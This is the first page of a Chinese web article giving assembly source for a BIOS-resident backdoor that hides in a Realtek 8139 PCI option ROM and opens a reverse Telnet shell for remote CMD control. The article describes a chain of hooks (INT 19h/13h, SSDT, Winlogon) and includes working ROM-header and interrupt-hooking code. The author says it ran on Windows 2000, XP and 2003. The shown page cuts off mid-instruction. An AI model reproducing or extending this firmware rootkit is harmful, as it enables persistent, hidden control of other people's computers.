当前位置:K88软件开发文章中心电脑基础基础应用01 → 文章内容

使用汇编编写BIOS中隐藏Telnet后门

减小字体 增大字体 作者:佚名  来源:翔宇亭IT乐园  发布时间:2018-12-31 12:31:26

:2010-11-06 18:40:57

[项目简述]

该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受CMD控制。

[项目涉及的相关知识及技术标题]

1、实验环境配置问题。   2、刷新BIOS技术问题。  3、代码植入BIOS问题。

 4、源代码的相关问题:

A、如何编写BIOS模块如:PCI、ISA。    B、实模式关于HOOK磁盘中断的问题。

C、磁盘中断中选择再次HOOK的问题。 D、NT保护模式下设置物理地址映射。

E、NT保护模式下线性地址寻址问题。     F、HOOK KeAddSystemServiceTable。

G、HOOK NtUserRegisterClassExWOW。 H、HOOK Winlogon SASWndProc过程。

I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。

5、源代码的其他技术:

A、IVThook InLineHook  SSDT Hook                       B、SEH  PE  PEB  TIB

C、Hash SharedUserData CheckSum

6、......

文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

.586p                             ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.

.Model Tiny                    ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.

;**********************************************************************

ROM_IMAGE_SIZE    equ 4                                    ;整个模块大小单位KB,固定大小4KB.

CSL_KERNEL_DEST    equ 0FFDF0800h                     ;SharedUserData数据结构线性地址.
        CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.

;**********************************************************************

RealCode segment use16

Code16Start:

;***********************************************************************

org     00h               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
        dw      0AA55h        ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
        db      ROM_IMAGE_SIZE*2     ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
        jmp     MyROMCodeStart        ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
        org     06h            ;####注意:编译器根据偏移长度选择JMPming令####,****JMP[rel16]长:003h****
        ReturnOldROM:          ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
        db      0e9h,0,0           ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
        db      'CHKSUM=',0    ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****    
;*****************************************************************************************

org     18h        ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*******************************************************************************************

MyROMCodeStart:
        pushf
        pushad
        push    es
        push    ds

       sti                                                       ;打开中断,以便接收键盘输入.
       mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
       call    WaitPressScrollKey
       .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
;****************************************************************************************            

 xor     ax,ax
         mov     es,ax
          mov     eax,es:[19h*4]
          mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

          mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
          and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
          sub     bx,4                                      
          mov     es:[413h],bx                              
          shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
          mov     es,bx                                     
          xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
              
          push    cs
          pop     ds
          call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
          GetCurrentAddr:
          pop     si                                        ;si->GetCurrentAddr在内存的地址
          mov     dx,si
              
          add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
           cld
           mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
           rep     movsd
              
          add     bx,100h                                   
          mov     es,bx                                     
          xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
          mov     si,dx
          sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start实模式代码的内存的地址.
          mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
          rep     movsd
             
          xor     bx,bx
          mov     ds,bx
          add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H内存的地址
          mov     ds:[19h*4],dx
          mov     ds:[(19h*4) + 2],es                       ;设置成我们的INT19H服务代码
;******************************************************************************************   

   .endif
        pop     ds
      pop     es
      popad
      popf
      ;jmp     ReturnOldROM                                     ;跳转到原来的ROM代码的跳转处执行              
      retf
;***********************************************************************************************

WaitPressScrollKey:                        ;函数入口:CX=350约为10ms, 函数延时: 33(us)
      push    ax
      .repeat
             in      al,60h
             .if     al == 46h                                  ;Scroll Lock键扫描码:46h
                     stc
                     pop    ax
                     ret
             .endif
             in      al,61h  
             test    al,010h  
             .continue .if  !ZERO?
             .repeat
                     in      al,61h  
                     test    al,10h  
             .until  !ZERO?
             dec    cx
      .until cx == 0
      clc
      pop    ax
      ret
;*********************************************************************************
      NewINT19H:
      pushf
      ;cli
      push    eax
      push    es
      ;jmp     $                                                ;bochs调试1#.
      xor     ax,ax
      mov     es,ax            
      mov     eax,es:[84h*4]
      mov     es:[19h*4],eax                                    ;恢复中断向量19H值.
      mov     eax,es:[13h*4]
      .if     es:[85h*4] != eax
              mov     es:[85h*4],eax             ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
              mov     word ptr es:[13h*4],NewINT13H             ;设置NewINT13H在内存的地址.
              mov     es:[(13h*4) + 2

[1] [2] [3]  下一页


使用汇编编写BIOS中隐藏Telnet后门